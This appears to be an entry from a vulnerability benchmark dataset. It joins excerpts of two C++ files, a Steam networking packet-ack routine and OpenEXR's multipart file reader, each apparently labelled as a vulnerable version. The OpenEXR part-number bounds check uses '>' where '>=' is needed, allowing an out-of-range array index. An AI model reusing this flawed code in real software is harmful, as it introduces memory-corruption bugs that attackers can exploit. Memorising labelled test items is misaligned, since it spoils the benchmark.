m_statsEndToEnd.HistoryRecvSeqNumDebugString(8).c_str() ); return; } --itGap; if ( itGap->first > nPktNum || itGap->second.m_nEnd <= nPktNum ) { // We already received this packet. But this should be impossible now, // we should be rejecting duplicate packet numbers earlier AssertMsg( false, "[%s] Packet gap bug. %lld [%lld,%lld) %s | %s", GetDescription(), (long long)nPktNum, (long long)itGap->first, (long long)itGap->second.m_nEnd, m_statsEndToEnd.RecvPktNumStateDebugString().c_str(), m_statsEndToEnd.HistoryRecvSeqNumDebugString(8).c_str() ); return; } // Packet is in a gap where we previously thought packets were lost. // (Packets arriving out of order.) // Last packet in gap? if ( itGap->second.m_nEnd-1 == nPktNum ) { // Single-packet gap? if ( itGap->first == nPktNum ) { // Were we waiting to ack/nack this? Then move forward to the next gap, if any usecScheduleAck = std::min( usecScheduleAck, itGap->second.m_usecWhenAckPrior ); if ( m_receiverState.m_itPendingAck == itGap ) ++m_receiverState.m_itPendingAck; if ( m_receiverState.m_itPendingNack == itGap ) ++m_receiverState.m_itPendingNack; // Save time when we needed to ack the packets before this gap SteamNetworkingMicroseconds usecWhenAckPrior = itGap->second.m_usecWhenAckPrior; // Gap is totally filled. Erase, and move to the next one, // if any, so we can schedule ack below itGap = m_receiverState.m_mapPacketGaps.erase( itGap ); // Were we scheduled to ack the packets before this? If so, then // we still need to do that, only now when we send that ack, we will // ack the packets after this gap as well, since they will be included // in the same ack block. // // NOTE: This is based on what was scheduled to be acked before we got // this packet. If we need to update the schedule to ack the current // packet, we will do that below. However, usually if previous // packets were already scheduled to be acked, then that deadline time // will be sooner usecScheduleAck, so the code below will not actually // do anything. if ( usecWhenAckPrior < itGap->second.m_usecWhenAckPrior ) { itGap->second.m_usecWhenAckPrior = usecWhenAckPrior; } else { // Otherwise, we might not have any acks scheduled. In that // case, the invariant is that m_itPendingAck should point at the sentinel if ( m_receiverState.m_itPendingAck->second.m_usecWhenAckPrior == INT64_MAX ) { m_receiverState.m_itPendingAck = m_receiverState.m_mapPacketGaps.end(); --m_receiverState.m_itPendingAck; Assert( m_receiverState.m_itPendingAck->first == INT64_MAX ); } } SpewVerboseGroup( m_connectionConfig.m_LogLevel_PacketGaps.Get(), "[%s] decode pkt %lld, single pkt gap filled", GetDescription(), (long long)nPktNum ); // At this point, ack invariants should be met m_receiverState.DebugCheckPackGapMap(); } else { // Shrink gap by one from the end --itGap->second.m_nEnd; Assert( itGap->first < itGap->second.m_nEnd ); SpewVerboseGroup( m_connectionConfig.m_LogLevel_PacketGaps.Get(), "[%s] decode pkt %lld, last packet in gap, reduced to [%lld,%lld)", GetDescription(), (long long)nPktNum, (long long)itGap->first, (long long)itGap->second.m_nEnd ); // Move to the next gap so we can schedule ack below ++itGap; // At this point, ack invariants should be met m_receiverState.DebugCheckPackGapMap(); } } else if ( itGap->first == nPktNum ) { // First packet in multi-packet gap. // Shrink packet from the front // Cast away const to allow us to modify the key. // We know this won't break the map ordering ++const_cast<int64&>( itGap->first ); Assert( itGap->first < itGap->second.m_nEnd ); itGap->second.m_usecWhenReceivedPktBefore = usecNow; SpewVerboseGroup( m_connectionConfig.m_LogLevel_PacketGaps.Get(), "[%s] decode pkt %lld, first packet in gap, reduced to [%lld,%lld)", GetDescription(), (long long)nPktNum, (long long)itGap->first, (long long)itGap->second.m_nEnd ); // At this point, ack invariants should be met m_receiverState.DebugCheckPackGapMap(); } else { // Packet is in the middle of the gap. We'll need to fragment this gap // Protect against malicious sender! if ( len( m_receiverState.m_mapPacketGaps ) >= k_nMaxPacketGaps ) return; // Nope, we will *not* actually mark the packet as received // Locate the next block so we can set the schedule time auto itNext = itGap; ++itNext; // Start making a new gap to account for the upper end std::pair<int64,SSNPPacketGap> upper; upper.first = nPktNum+1; upper.second.m_nEnd = itGap->second.m_nEnd; upper.second.m_usecWhenReceivedPktBefore = usecNow; if ( itNext == m_receiverState.m_itPendingAck ) upper.second.m_usecWhenAckPrior = INT64_MAX; else upper.second.m_usecWhenAckPrior = itNext->second.m_usecWhenAckPrior; upper.second.m_usecWhenOKToNack = itGap->second.m_usecWhenOKToNack; // Truncate the current gap itGap->second.m_nEnd = nPktNum; Assert( itGap->first < itGap->second.m_nEnd ); SpewVerboseGroup( m_connectionConfig.m_LogLevel_PacketGaps.Get(), "[%s] decode pkt %lld, gap split [%lld,%lld) and [%lld,%lld)", GetDescription(), (long long)nPktNum, (long long)itGap->first, (long long)itGap->second.m_nEnd, upper.first, upper.second.m_nEnd ); // Insert a new gap to account for the upper end, and // advance iterator to it, so that we can schedule ack below itGap = m_receiverState.m_mapPacketGaps.insert( upper ).first; // At this point, ack invariants should be met m_receiverState.DebugCheckPackGapMap(); } Assert( itGap != m_receiverState.m_mapPacketGaps.end() ); // Need to schedule ack (earlier than it is already scheduled)? if ( usecScheduleAck < itGap->second.m_usecWhenAckPrior ) { // Earlier than the current thing being scheduled? if ( usecScheduleAck <= m_receiverState.m_itPendingAck->second.m_usecWhenAckPrior ) { // We're next, set the time itGap->second.m_usecWhenAckPrior = usecScheduleAck; // Any schedules for lower-numbered packets are superseded // by this one. if ( m_receiverState.m_itPendingAck->first <= itGap->first ) { while ( m_receiverState.m_itPendingAck != itGap ) { m_receiverState.m_itPendingAck->second.m_usecWhenAckPrior = INT64_MAX; ++m_receiverState.m_itPendingAck; } } else { // If our number is lower than the thing that was scheduled next, // then back up and re-schedule any blocks in between to be effectively // the same time as they would have been flushed before. SteamNetworkingMicroseconds usecOldSched = m_receiverState.m_itPendingAck->second.m_usecWhenAckPrior; while ( --m_receiverState.m_itPendingAck != itGap ) { m_receiverState.m_itPendingAck->second.m_usecWhenAckPrior = usecOldSched; } } } else { // We're not the next thing that needs to be acked. if ( itGap->first < m_receiverState.m_itPendingAck->first ) { // We're a lowered numbered packet, so this request is subsumed by the // request to flush more packets at an earlier time, // and we don't need to do anything. } else { // We need to ack a bit earlier itGap->second.m_usecWhenAckPrior = usecScheduleAck; // Now the only way for our invariants to be violated is for lower // numbered blocks to have later scheduled times. Assert( itGap != m_receiverState.m_mapPacketGaps.begin() ); while ( (--itGap)->second.m_usecWhenAckPrior > usecScheduleAck ) { Assert( itGap != m_receiverState.m_mapPacketGaps.begin() ); itGap->second.m_usecWhenAckPrior = usecScheduleAck; } } } // Make sure we didn't screw things up m_receiverState.DebugCheckPackGapMap(); } // Make sure are scheduled to wake up if ( bScheduleAck ) EnsureMinThinkTime( m_receiverState.TimeWhenFlushAcks() ); } } int CSteamNetworkConnectionBase::SNP_ClampSendRate() { // Get effective clamp limits. We clamp the limits themselves to be safe // and make sure they are sane int nMin = Clamp( m_connectionConfig.m_SendRateMin.Get(), 1024, 100*1024*1024 ); int nMax = Clamp( m_connectionConfig.m_SendRateMax.Get(), nMin, 100*1024*1024 ); // Clamp it, adjusting the value if it's out of range m_senderState.m_n_x = Clamp( m_senderState.m_n_x, nMin, nMax ); // Return value return m_senderState.m_n_x; } // Returns next think time SteamNetworkingMicroseconds CSteamNetworkConnectionBase::SNP_ThinkSendState( SteamNetworkingMicroseconds usecNow ) { // Accumulate tokens based on how long it's been since last time SNP_ClampSendRate(); SNP_TokenBucket_Accumulate( usecNow ); // Calculate next time we want to take action. If it isn't right now, then we're either idle or throttled. // Importantly, this will also check for retry timeout SteamNetworkingMicroseconds usecNextThink = SNP_GetNextThinkTime( usecNow ); if ( usecNextThink > usecNow ) return usecNextThink; // Keep sending packets until we run out of tokens int nPacketsSent = 0; while ( m_pTransport ) { if ( nPacketsSent > k_nMaxPacketsPerThink ) { // We're sending too much at one time. Nuke token bucket so that // we'll be ready to send again very soon, but not immediately. // We don't want the outer code to complain that we are requesting // a wakeup call in the past m_senderState.m_flTokenBucket = m_senderState.m_n_x * -0.0005f; return usecNow + 1000; } // Check if we have anything to send. if ( usecNow < m_receiverState.TimeWhenFlushAcks() && usecNow < SNP_TimeWhenWantToSendNextPacket() ) { // We've sent everything we want to send. Limit our reserve to a // small burst overage, in case we had built up an excess reserve // before due to the scheduler waking us up late. m_senderState.TokenBucket_Limit(); break; } // Send the next data packet. if ( !m_pTransport->SendDataPacket( usecNow ) ) { // Problem sending packet. Nuke token bucket, but request // a wakeup relatively quick to check on our state again m_senderState.m_flTokenBucket = m_senderState.m_n_x * -0.001f; return usecNow + 2000; } // We spent some tokens, do we have any left? if ( m_senderState.m_flTokenBucket < 0.0f ) break; // Limit number of packets sent at a time, even if the scheduler is really bad // or somebody holds the lock for along time, or we wake up late for whatever reason ++nPacketsSent; } // Return time when we need to check in again. SteamNetworkingMicroseconds usecNextAction = SNP_GetNextThinkTime( usecNow ); Assert( usecNextAction > usecNow ); return usecNextAction; } void CSteamNetworkConnectionBase::SNP_TokenBucket_Accumulate( SteamNetworkingMicroseconds usecNow ) { // If we're not connected, just keep our bucket full if ( !BStateIsConnectedForWirePurposes() ) { m_senderState.m_flTokenBucket = k_flSendRateBurstOverageAllowance; m_senderState.m_usecTokenBucketTime = usecNow; return; } float flElapsed = ( usecNow - m_senderState.m_usecTokenBucketTime ) * 1e-6; m_senderState.m_flTokenBucket += (float)m_senderState.m_n_x * flElapsed; m_senderState.m_usecTokenBucketTime = usecNow; // If we don't currently have any packets ready to send right now, // then go ahead and limit the tokens. If we do have packets ready // to send right now, then we must assume that we would be trying to // wakeup as soon as we are ready to send the next packet, and thus // any excess tokens we accumulate are because the scheduler woke // us up late, and we are not actually bursting if ( SNP_TimeWhenWantToSendNextPacket() > usecNow ) m_senderState.TokenBucket_Limit(); } void SSNPReceiverState::QueueFlushAllAcks( SteamNetworkingMicroseconds usecWhen ) { DebugCheckPackGapMap(); Assert( usecWhen > 0 ); // zero is reserved and should never be used as a requested wake time // if we're already scheduled for earlier, then there cannot be any work to do auto it = m_mapPacketGaps.end(); --it; if ( it->second.m_usecWhenAckPrior <= usecWhen ) return; it->second.m_usecWhenAckPrior = usecWhen; // Nothing partial scheduled? if ( m_itPendingAck == it ) return; if ( m_itPendingAck->second.m_usecWhenAckPrior >= usecWhen ) { do { m_itPendingAck->second.m_usecWhenAckPrior = INT64_MAX; ++m_itPendingAck; } while ( m_itPendingAck != it ); DebugCheckPackGapMap(); } else { // Maintain invariant while ( (--it)->second.m_usecWhenAckPrior >= usecWhen ) it->second.m_usecWhenAckPrior = usecWhen; DebugCheckPackGapMap(); } } #if STEAMNETWORKINGSOCKETS_SNP_PARANOIA > 1 void SSNPReceiverState::DebugCheckPackGapMap() const { int64 nPrevEnd = 0; SteamNetworkingMicroseconds usecPrevAck = 0; bool bFoundPendingAck = false; for ( auto it: m_mapPacketGaps ) { Assert( it.first > nPrevEnd ); if ( it.first == m_itPendingAck->first ) { Assert( !bFoundPendingAck ); bFoundPendingAck = true; if ( it.first < INT64_MAX ) Assert( it.second.m_usecWhenAckPrior < INT64_MAX ); } else if ( !bFoundPendingAck ) { Assert( it.second.m_usecWhenAckPrior == INT64_MAX ); } else { Assert( it.second.m_usecWhenAckPrior >= usecPrevAck ); } usecPrevAck = it.second.m_usecWhenAckPrior; if ( it.first == INT64_MAX ) { Assert( it.second.m_nEnd == INT64_MAX ); } else { Assert( it.first < it.second.m_nEnd ); } nPrevEnd = it.second.m_nEnd; } Assert( nPrevEnd == INT64_MAX ); } #endif SteamNetworkingMicroseconds CSteamNetworkConnectionBase::SNP_TimeWhenWantToSendNextPacket() const { // We really shouldn't be trying to do this when not connected if ( !BStateIsConnectedForWirePurposes() ) { AssertMsg( false, "We shouldn't be asking about sending packets when not fully connected" ); return k_nThinkTime_Never; } // Reliable triggered? Then send it right now if ( !m_senderState.m_listReadyRetryReliableRange.empty() ) return 0; // Anything queued? SteamNetworkingMicroseconds usecNextSend; if ( m_senderState.m_messagesQueued.empty() ) { // Queue is empty, nothing to send except perhaps nacks (below) Assert( m_senderState.PendingBytesTotal() == 0 ); usecNextSend = INT64_MAX; } else { // FIXME acks, stop_waiting? // Have we got at least a full packet ready to go? if ( m_senderState.PendingBytesTotal() >= m_cbMaxPlaintextPayloadSend ) // Send it ASAP return 0; // We have less than a full packet's worth of data. Wait until // the Nagle time, if we have one usecNextSend = m_senderState.m_messagesQueued.m_pFirst->SNPSend_UsecNagle(); } // Check if the receiver wants to send a NACK. usecNextSend = std::min( usecNextSend, m_receiverState.m_itPendingNack->second.m_usecWhenOKToNack ); // Return the earlier of the two return usecNextSend; } SteamNetworkingMicroseconds CSteamNetworkConnectionBase::SNP_GetNextThinkTime( SteamNetworkingMicroseconds usecNow ) { // We really shouldn't be trying to do this when not connected if ( !BStateIsConnectedForWirePurposes() ) { AssertMsg( false, "We shouldn't be trying to think SNP when not fully connected" ); return k_nThinkTime_Never; } // We cannot send any packets if we don't have transport if ( !m_pTransport ) return k_nThinkTime_Never; // Start with the time when the receiver needs to flush out ack. SteamNetworkingMicroseconds usecNextThink = m_receiverState.TimeWhenFlushAcks(); // Check retransmit timers. If they have expired, this will move reliable // segments into the "ready to retry" list, which will cause // TimeWhenWantToSendNextPacket to think we want to send data. If nothing has timed out, // it will return the time when we need to check back in. Or, if everything is idle it will // return "never" (very large number). SteamNetworkingMicroseconds usecNextRetry = SNP_SenderCheckInFlightPackets( usecNow ); // If we want to send packets, then we might need to wake up and take action SteamNetworkingMicroseconds usecTimeWantToSend = SNP_TimeWhenWantToSendNextPacket(); usecTimeWantToSend = std::min( usecNextRetry, usecTimeWantToSend ); if ( usecTimeWantToSend < usecNextThink ) { // Time when we *could* send the next packet, ignoring Nagle SteamNetworkingMicroseconds usecNextSend = usecNow; SteamNetworkingMicroseconds usecQueueTime = m_senderState.CalcTimeUntilNextSend(); if ( usecQueueTime > 0 ) { usecNextSend += usecQueueTime; // Add a small amount of fudge here, so that we don't wake up too early and think // we're not ready yet, causing us to spin our wheels. Our token bucket system // should keep us sending at the correct overall rate. Remember that the // underlying kernel timer/wake resolution might be 1 or 2ms, (E.g. Windows.) usecNextSend += 25; } // Time when we will next send is the greater of when we want to and when we can usecNextSend = std::max( usecNextSend, usecTimeWantToSend ); // Earlier than any other reason to wake up? usecNextThink = std::min( usecNextThink, usecNextSend ); } return usecNextThink; } void CSteamNetworkConnectionBase::SNP_PopulateDetailedStats( SteamDatagramLinkStats &info ) { info.m_latest.m_nSendRate = SNP_ClampSendRate(); info.m_latest.m_nPendingBytes = m_senderState.m_cbPendingUnreliable + m_senderState.m_cbPendingReliable; info.m_lifetime.m_nMessagesSentReliable = m_senderState.m_nMessagesSentReliable; info.m_lifetime.m_nMessagesSentUnreliable = m_senderState.m_nMessagesSentUnreliable; info.m_lifetime.m_nMessagesRecvReliable = m_receiverState.m_nMessagesRecvReliable; info.m_lifetime.m_nMessagesRecvUnreliable = m_receiverState.m_nMessagesRecvUnreliable; } void CSteamNetworkConnectionBase::SNP_PopulateQuickStats( SteamNetworkingQuickConnectionStatus &info, SteamNetworkingMicroseconds usecNow ) { info.m_nSendRateBytesPerSecond = SNP_ClampSendRate(); info.m_cbPendingUnreliable = m_senderState.m_cbPendingUnreliable; info.m_cbPendingReliable = m_senderState.m_cbPendingReliable; info.m_cbSentUnackedReliable = m_senderState.m_cbSentUnackedReliable; if ( GetState() == k_ESteamNetworkingConnectionState_Connected ) { // Accumulate tokens so that we can properly predict when the next time we'll be able to send something is SNP_TokenBucket_Accumulate( usecNow ); // // Time until we can send the next packet // If anything is already queued, then that will have to go out first. Round it down // to the nearest packet. // // NOTE: This ignores the precise details of SNP framing. If there are tons of // small packets, it'll actually be worse. We might be able to approximate that // the framing overhead better by also counting up the number of *messages* pending. // Probably not worth it here, but if we had that number available, we'd use it. int cbPendingTotal = m_senderState.PendingBytesTotal() / m_cbMaxMessageNoFragment * m_cbMaxMessageNoFragment; // Adjust based on how many tokens we have to spend now (or if we are already // over-budget and have to wait until we could spend another) cbPendingTotal -= (int)m_senderState.m_flTokenBucket; if ( cbPendingTotal <= 0 ) { // We could send it right now. info.m_usecQueueTime = 0; } else { info.m_usecQueueTime = (int64)cbPendingTotal * k_nMillion / SNP_ClampSendRate(); } } else { // We'll never be able to send it. (Or, we don't know when that will be.) info.m_usecQueueTime = INT64_MAX; } } } // namespace SteamNetworkingSocketsLib
./CrossVul/dataset_final_sorted/CWE-787/cpp/bad_4593_0
crossvul-cpp_data_bad_4243_0
/////////////////////////////////////////////////////////////////////////// // // Copyright (c) 2011, Industrial Light & Magic, a division of Lucas // Digital Ltd. LLC // // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Industrial Light & Magic nor the names of // its contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // /////////////////////////////////////////////////////////////////////////// #include "ImfMultiPartInputFile.h" #include "ImfTimeCodeAttribute.h" #include "ImfChromaticitiesAttribute.h" #include "ImfBoxAttribute.h" #include "ImfFloatAttribute.h" #include "ImfStdIO.h" #include "ImfTileOffsets.h" #include "ImfMisc.h" #include "ImfTiledMisc.h" #include "ImfInputStreamMutex.h" #include "ImfInputPartData.h" #include "ImfPartType.h" #include "ImfInputFile.h" #include "ImfScanLineInputFile.h" #include "ImfTiledInputFile.h" #include "ImfDeepScanLineInputFile.h" #include "ImfDeepTiledInputFile.h" #include "ImfVersion.h" #include <OpenEXRConfig.h> #include <IlmThread.h> #include <IlmThreadMutex.h> #include <Iex.h> #include <map> #include <set> OPENEXR_IMF_INTERNAL_NAMESPACE_SOURCE_ENTER using ILMTHREAD_NAMESPACE::Mutex; using ILMTHREAD_NAMESPACE::Lock; using IMATH_NAMESPACE::Box2i; using std::vector; using std::map; using std::set; using std::string; namespace { // Controls whether we error out in the event of shared attribute // inconsistency in the input file static const bool strictSharedAttribute = true; } struct MultiPartInputFile::Data: public InputStreamMutex { int version; // Version of this file. bool deleteStream; // If we should delete the stream during destruction. vector<InputPartData*> parts; // Data to initialize Output files. int numThreads; // Number of threads bool reconstructChunkOffsetTable; // If we should reconstruct // the offset table if it's broken. std::map<int,GenericInputFile*> _inputFiles; std::vector<Header> _headers; void chunkOffsetReconstruction(OPENEXR_IMF_INTERNAL_NAMESPACE::IStream& is, const std::vector<InputPartData*>& parts); void readChunkOffsetTables(bool reconstructChunkOffsetTable); bool checkSharedAttributesValues(const Header & src, const Header & dst, std::vector<std::string> & conflictingAttributes) const; TileOffsets* createTileOffsets(const Header& header); InputPartData* getPart(int partNumber); Data (bool deleteStream, int numThreads, bool reconstructChunkOffsetTable): InputStreamMutex(), deleteStream (deleteStream), numThreads (numThreads), reconstructChunkOffsetTable(reconstructChunkOffsetTable) { } ~Data() { if (deleteStream) delete is; for (size_t i = 0; i < parts.size(); i++) delete parts[i]; } template <class T> T* createInputPartT(int partNumber) { } }; MultiPartInputFile::MultiPartInputFile(const char fileName[], int numThreads, bool reconstructChunkOffsetTable): _data(new Data(true, numThreads, reconstructChunkOffsetTable)) { try { _data->is = new StdIFStream (fileName); initialize(); } catch (IEX_NAMESPACE::BaseExc &e) { delete _data; REPLACE_EXC (e, "Cannot read image file " "\"" << fileName << "\". " << e.what()); throw; } catch (...) { delete _data; throw; } } MultiPartInputFile::MultiPartInputFile (OPENEXR_IMF_INTERNAL_NAMESPACE::IStream& is, int numThreads, bool reconstructChunkOffsetTable): _data(new Data(false, numThreads, reconstructChunkOffsetTable)) { try { _data->is = &is; initialize(); } catch (IEX_NAMESPACE::BaseExc &e) { delete _data; REPLACE_EXC (e, "Cannot read image file " "\"" << is.fileName() << "\". " << e.what()); throw; } catch (...) { delete _data; throw; } } template<class T> T* MultiPartInputFile::getInputPart(int partNumber) { Lock lock(*_data); if (_data->_inputFiles.find(partNumber) == _data->_inputFiles.end()) { T* file = new T(_data->getPart(partNumber)); _data->_inputFiles.insert(std::make_pair(partNumber, (GenericInputFile*) file)); return file; } else return (T*) _data->_inputFiles[partNumber]; } template InputFile* MultiPartInputFile::getInputPart<InputFile>(int); template TiledInputFile* MultiPartInputFile::getInputPart<TiledInputFile>(int); template DeepScanLineInputFile* MultiPartInputFile::getInputPart<DeepScanLineInputFile>(int); template DeepTiledInputFile* MultiPartInputFile::getInputPart<DeepTiledInputFile>(int); InputPartData* MultiPartInputFile::getPart(int partNumber) { return _data->getPart(partNumber); } const Header & MultiPartInputFile::header(int n) const { return _data->_headers[n]; } MultiPartInputFile::~MultiPartInputFile() { for (map<int, GenericInputFile*>::iterator it = _data->_inputFiles.begin(); it != _data->_inputFiles.end(); it++) { delete it->second; } delete _data; } bool MultiPartInputFile::Data::checkSharedAttributesValues(const Header & src, const Header & dst, vector<string> & conflictingAttributes) const { conflictingAttributes.clear(); bool conflict = false; // // Display Window // if (src.displayWindow() != dst.displayWindow()) { conflict = true; conflictingAttributes.push_back ("displayWindow"); } // // Pixel Aspect Ratio // if (src.pixelAspectRatio() != dst.pixelAspectRatio()) { conflict = true; conflictingAttributes.push_back ("pixelAspectRatio"); } // // Timecode // const TimeCodeAttribute * srcTimeCode = src.findTypedAttribute< TimeCodeAttribute> (TimeCodeAttribute::staticTypeName()); const TimeCodeAttribute * dstTimeCode = dst.findTypedAttribute< TimeCodeAttribute> (TimeCodeAttribute::staticTypeName()); if (dstTimeCode) { if ( (srcTimeCode && (srcTimeCode->value() != dstTimeCode->value())) || (!srcTimeCode)) { conflict = true; conflictingAttributes.push_back (TimeCodeAttribute::staticTypeName()); } } // // Chromaticities // const ChromaticitiesAttribute * srcChrom = src.findTypedAttribute< ChromaticitiesAttribute> (ChromaticitiesAttribute::staticTypeName()); const ChromaticitiesAttribute * dstChrom = dst.findTypedAttribute< ChromaticitiesAttribute> (ChromaticitiesAttribute::staticTypeName()); if (dstChrom) { if ( (srcChrom && (srcChrom->value() != dstChrom->value())) || (!srcChrom)) { conflict = true; conflictingAttributes.push_back (ChromaticitiesAttribute::staticTypeName()); } } return conflict; } void MultiPartInputFile::initialize() { readMagicNumberAndVersionField(*_data->is, _data->version); bool multipart = isMultiPart(_data->version); bool tiled = isTiled(_data->version); // // Multipart files don't have and shouldn't have the tiled bit set. // if (tiled && multipart) throw IEX_NAMESPACE::InputExc ("Multipart files cannot have the tiled bit set"); int pos = 0; while (true) { Header header; header.readFrom(*_data->is, _data->version); // // If we read nothing then we stop reading. // if (header.readsNothing()) { pos++; break; } _data->_headers.push_back(header); if(multipart == false) break; } // // Perform usual check on headers. // for (size_t i = 0; i < _data->_headers.size(); i++) { // // Silently invent a type if the file is a single part regular image. // if( _data->_headers[i].hasType() == false ) { if(multipart) throw IEX_NAMESPACE::ArgExc ("Every header in a multipart file should have a type"); _data->_headers[i].setType(tiled ? TILEDIMAGE : SCANLINEIMAGE); } else { // // Silently fix the header type if it's wrong // (happens when a regular Image file written by EXR_2.0 is rewritten by an older library, // so doesn't effect deep image types) // if(!multipart && !isNonImage(_data->version)) { _data->_headers[i].setType(tiled ? TILEDIMAGE : SCANLINEIMAGE); } } if( _data->_headers[i].hasName() == false ) { if(multipart) throw IEX_NAMESPACE::ArgExc ("Every header in a multipart file should have a name"); } if (isTiled(_data->_headers[i].type())) _data->_headers[i].sanityCheck(true, multipart); else _data->_headers[i].sanityCheck(false, multipart); } // // Check name uniqueness. // if (multipart) { set<string> names; for (size_t i = 0; i < _data->_headers.size(); i++) { if (names.find(_data->_headers[i].name()) != names.end()) { throw IEX_NAMESPACE::InputExc ("Header name " + _data->_headers[i].name() + " is not a unique name."); } names.insert(_data->_headers[i].name()); } } // // Check shared attributes compliance. // if (multipart && strictSharedAttribute) { for (size_t i = 1; i < _data->_headers.size(); i++) { vector <string> attrs; if (_data->checkSharedAttributesValues (_data->_headers[0], _data->_headers[i], attrs)) { string attrNames; for (size_t j=0; j<attrs.size(); j++) attrNames += " " + attrs[j]; throw IEX_NAMESPACE::InputExc ("Header name " + _data->_headers[i].name() + " has non-conforming shared attributes: "+ attrNames); } } } // // Create InputParts and read chunk offset tables. // for (size_t i = 0; i < _data->_headers.size(); i++) _data->parts.push_back( new InputPartData(_data, _data->_headers[i], i, _data->numThreads, _data->version)); _data->readChunkOffsetTables(_data->reconstructChunkOffsetTable); } TileOffsets* MultiPartInputFile::Data::createTileOffsets(const Header& header) { // // Get the dataWindow information // const Box2i &dataWindow = header.dataWindow(); int minX = dataWindow.min.x; int maxX = dataWindow.max.x; int minY = dataWindow.min.y; int maxY = dataWindow.max.y; // // Precompute level and tile information // int* numXTiles; int* numYTiles; int numXLevels, numYLevels; TileDescription tileDesc = header.tileDescription(); precalculateTileInfo (tileDesc, minX, maxX, minY, maxY, numXTiles, numYTiles, numXLevels, numYLevels); TileOffsets* tileOffsets = new TileOffsets (tileDesc.mode, numXLevels, numYLevels, numXTiles, numYTiles); delete [] numXTiles; delete [] numYTiles; return tileOffsets; } void MultiPartInputFile::Data::chunkOffsetReconstruction(OPENEXR_IMF_INTERNAL_NAMESPACE::IStream& is, const vector<InputPartData*>& parts) { // // Reconstruct broken chunk offset tables. Stop once we received any exception. // Int64 position = is.tellg(); // // check we understand all the parts available: if not, we cannot continue // exceptions thrown here should trickle back up to the constructor // for (size_t i = 0; i < parts.size(); i++) { Header& header=parts[i]->header; // // do we have a valid type entry? // we only need them for true multipart files or single part non-image (deep) files // if(!header.hasType() && (isMultiPart(version) || isNonImage(version))) { throw IEX_NAMESPACE::ArgExc("cannot reconstruct incomplete file: part with missing type"); } if(!isSupportedType(header.type())) { throw IEX_NAMESPACE::ArgExc("cannot reconstruct incomplete file: part with unknown type "+header.type()); } } // how many chunks should we read? We should stop when we reach the end size_t total_chunks = 0; // for tiled-based parts, array of (pointers to) tileOffsets objects // to create mapping between tile coordinates and chunk table indices vector<TileOffsets*> tileOffsets(parts.size()); // for scanline-based parts, number of scanlines in each chunk vector<int> rowsizes(parts.size()); for(size_t i = 0 ; i < parts.size() ; i++) { total_chunks += parts[i]->chunkOffsets.size(); if (isTiled(parts[i]->header.type())) { tileOffsets[i] = createTileOffsets(parts[i]->header); }else{ tileOffsets[i] = NULL; // (TODO) fix this so that it doesn't need to be revised for future compression types. switch(parts[i]->header.compression()) { case DWAB_COMPRESSION : rowsizes[i] = 256; break; case PIZ_COMPRESSION : case B44_COMPRESSION : case B44A_COMPRESSION : case DWAA_COMPRESSION : rowsizes[i]=32; break; case ZIP_COMPRESSION : case PXR24_COMPRESSION : rowsizes[i]=16; break; case ZIPS_COMPRESSION : case RLE_COMPRESSION : case NO_COMPRESSION : rowsizes[i]=1; break; default : throw(IEX_NAMESPACE::ArgExc("Unknown compression method in chunk offset reconstruction")); } } } try { // // // Int64 chunk_start = position; for (size_t i = 0; i < total_chunks ; i++) { // // do we have a part number? // int partNumber = 0; if(isMultiPart(version)) { OPENEXR_IMF_INTERNAL_NAMESPACE::Xdr::read <OPENEXR_IMF_INTERNAL_NAMESPACE::StreamIO> (is, partNumber); } if(partNumber<0 || partNumber> static_cast<int>(parts.size())) { throw IEX_NAMESPACE::IoExc("part number out of range"); } Header& header = parts[partNumber]->header; // size of chunk NOT including multipart field Int64 size_of_chunk=0; if (isTiled(header.type())) { // // // int tilex,tiley,levelx,levely; OPENEXR_IMF_INTERNAL_NAMESPACE::Xdr::read <OPENEXR_IMF_INTERNAL_NAMESPACE::StreamIO> (is, tilex); OPENEXR_IMF_INTERNAL_NAMESPACE::Xdr::read <OPENEXR_IMF_INTERNAL_NAMESPACE::StreamIO> (is, tiley); OPENEXR_IMF_INTERNAL_NAMESPACE::Xdr::read <OPENEXR_IMF_INTERNAL_NAMESPACE::StreamIO> (is, levelx); OPENEXR_IMF_INTERNAL_NAMESPACE::Xdr::read <OPENEXR_IMF_INTERNAL_NAMESPACE::StreamIO> (is, levely); //std::cout << "chunk_start for " << tilex <<',' << tiley << ',' << levelx << ' ' << levely << ':' << chunk_start << std::endl; if(!tileOffsets[partNumber]) { // this shouldn't actually happen - we should have allocated a valid // tileOffsets for any part which isTiled throw IEX_NAMESPACE::IoExc("part not tiled"); } if(!tileOffsets[partNumber]->isValidTile(tilex,tiley,levelx,levely)) { throw IEX_NAMESPACE::IoExc("invalid tile coordinates"); } (*tileOffsets[partNumber])(tilex,tiley,levelx,levely)=chunk_start; // compute chunk sizes - different procedure for deep tiles and regular // ones if(header.type()==DEEPTILE) { Int64 packed_offset; Int64 packed_sample; OPENEXR_IMF_INTERNAL_NAMESPACE::Xdr::read <OPENEXR_IMF_INTERNAL_NAMESPACE::StreamIO> (is, packed_offset); OPENEXR_IMF_INTERNAL_NAMESPACE::Xdr::read <OPENEXR_IMF_INTERNAL_NAMESPACE::StreamIO> (is, packed_sample); //add 40 byte header to packed sizes (tile coordinates, packed sizes, unpacked size) size_of_chunk=packed_offset+packed_sample+40; } else { // regular image has 20 